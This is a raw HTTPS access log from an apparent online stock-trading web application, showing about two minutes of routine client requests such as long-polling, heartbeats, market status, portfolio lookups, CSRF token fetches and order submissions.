[09/Jan/2026:15:29:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:29:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944048033 HTTP/1.1" -
[09/Jan/2026:15:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944064462 HTTP/1.1" -
[09/Jan/2026:15:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1970
[09/Jan/2026:15:29:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:29:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944050406 HTTP/1.1" -
[09/Jan/2026:15:29:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944051458 HTTP/1.1" -
[09/Jan/2026:15:29:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944053080 HTTP/1.1" -
[09/Jan/2026:15:29:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944069498 HTTP/1.1" -
[09/Jan/2026:15:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944055427 HTTP/1.1" -
[09/Jan/2026:15:29:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944056497 HTTP/1.1" -
[09/Jan/2026:15:29:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944058124 HTTP/1.1" -
[09/Jan/2026:15:29:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944074528 HTTP/1.1" -
[09/Jan/2026:15:29:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944060480 HTTP/1.1" -
[09/Jan/2026:15:29:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944061563 HTTP/1.1" -
[09/Jan/2026:15:29:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:29:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:29:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:29:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944063238 HTTP/1.1" -
[09/Jan/2026:15:29:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944079590 HTTP/1.1" -
[09/Jan/2026:15:29:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944065517 HTTP/1.1" -
[09/Jan/2026:15:29:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:29:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944066599 HTTP/1.1" -
[09/Jan/2026:15:29:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:29:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:29:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944068433 HTTP/1.1" -
[09/Jan/2026:15:29:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944084658 HTTP/1.1" -
[09/Jan/2026:15:30:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944070560 HTTP/1.1" -
[09/Jan/2026:15:30:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944071638 HTTP/1.1" -
[09/Jan/2026:15:30:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:30:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944073490 HTTP/1.1" -
[09/Jan/2026:15:30:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944089680 HTTP/1.1" -
[09/Jan/2026:15:30:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944075588 HTTP/1.1" -
[09/Jan/2026:15:30:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944076790 HTTP/1.1" -
[09/Jan/2026:15:30:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944078532 HTTP/1.1" -
[09/Jan/2026:15:30:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944094710 HTTP/1.1" -
[09/Jan/2026:15:30:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:15:30:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944080617 HTTP/1.1" -
[09/Jan/2026:15:30:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944081927 HTTP/1.1" -
[09/Jan/2026:15:30:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:30:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1226
[09/Jan/2026:15:30:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944099748 HTTP/1.1" -
[09/Jan/2026:15:30:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:30:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944083670 HTTP/1.1" -
[09/Jan/2026:15:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944085647 HTTP/1.1" -
[09/Jan/2026:15:30:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944087081 HTTP/1.1" -
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1019
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944104777 HTTP/1.1" -
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944088866 HTTP/1.1" -
[09/Jan/2026:15:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944090687 HTTP/1.1" -
[09/Jan/2026:15:30:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1789
[09/Jan/2026:15:30:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944092163 HTTP/1.1" -
[09/Jan/2026:15:30:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944109833 HTTP/1.1" -
[09/Jan/2026:15:30:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944093919 HTTP/1.1" -
[09/Jan/2026:15:30:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944095727 HTTP/1.1" -
[09/Jan/2026:15:30:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944097199 HTTP/1.1" -
[09/Jan/2026:15:30:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:30:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1995
[09/Jan/2026:15:30:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944114853 HTTP/1.1" -
[09/Jan/2026:15:30:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944098982 HTTP/1.1" -
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
